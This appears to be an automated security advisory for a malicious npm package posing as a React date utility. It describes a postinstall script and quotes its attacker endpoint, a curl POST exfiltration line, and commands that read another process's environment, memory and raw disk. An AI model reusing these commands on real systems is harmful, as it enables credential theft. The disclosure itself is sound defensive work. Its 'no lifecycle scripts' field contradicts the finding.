The same advisory and Firewall decision cover these 18 recorded versions: 1.0.0, 1.0.1, 1.0.2, 1.0.4, 1.0.5, 1.1.0, 1.2.0, 1.2.1, 1.2.2, 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.4.0, 1.4.1, 1.4.2, 1.0.3, 1.1.1. - Avoid installing react-simple-utils-kit@1.4.2. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Osv Malicious Advisory - **Category:** External Intel - **Confidence:** 100.0% Package advertises itself as 'a simple date formatting utility for React projects' (3-function index.js), but ships a postinstall.js that runs on every \`npm install\` and performs an extensive reconnaissance + credential-harvest sweep against the installer's host, POSTing each result over plain HTTP to a hardcoded attacker endpoint at http://2e3bkumw.requestrepo.com (a one-shot request-interception domain unrelated to any legitimate publisher). postinstall.js:8 hardcodes \`const BURL = 'http://2e3bkumw.requestrepo.com'\` and postinstall.js:16 invokes \`execSync(\\\`curl -s -m 8 -X POST -d @${tmpFile} ${BURL}/${key}...\\\`)\` to ship results. Collected data includes: process capabilities and ptrace scope, strace attach against PID 2, raw memory reads of another process via \`xxd /proc/2/mem\`, that process's environment block via \`cat /proc/2/environ\` (commonly containing CI tokens and cloud credentials), \`/proc/2/cmdline\`, \`ps aux\`, listening-port enumeration, MCP probing on localhost:9000, and raw-disk reads from \`/dev/vdb\`. The package's name targets React developers via a date-utility cover story (empty author field, Chinese comment \`绕过能力探测\` = 'capability-detection bypass'); none of this behavior is consistent with the advertised purpose. Installer harm is concrete and immediate: any host running \`npm install react-simple-utils-kit\` leaks process-tree secrets, environment variables of other running processes, kernel/container introspection data, and raw block-device contents to attacker infrastructure. \#\# Source: ghsa-malware (29295ef35aa59796f637df779516a0382cbe1ce88e69a5c9f40012d9e63c9cfd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** react-simple-utils-kit - **Ecosystem:** npm - **Version:** 1.4.2 - **Version published:** 2026-06-23T11:44:56.306Z - **Package first seen:** 2026-06-30T15:00:00.099Z - **Package last seen:** 2026-07-09T23:10:15.280Z - **Known versions:** 18 - **Latest version:** 1.4.2 - **Appeal under review:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [ADVISORY]() - [PACKAGE]() - [PACKAGE]()
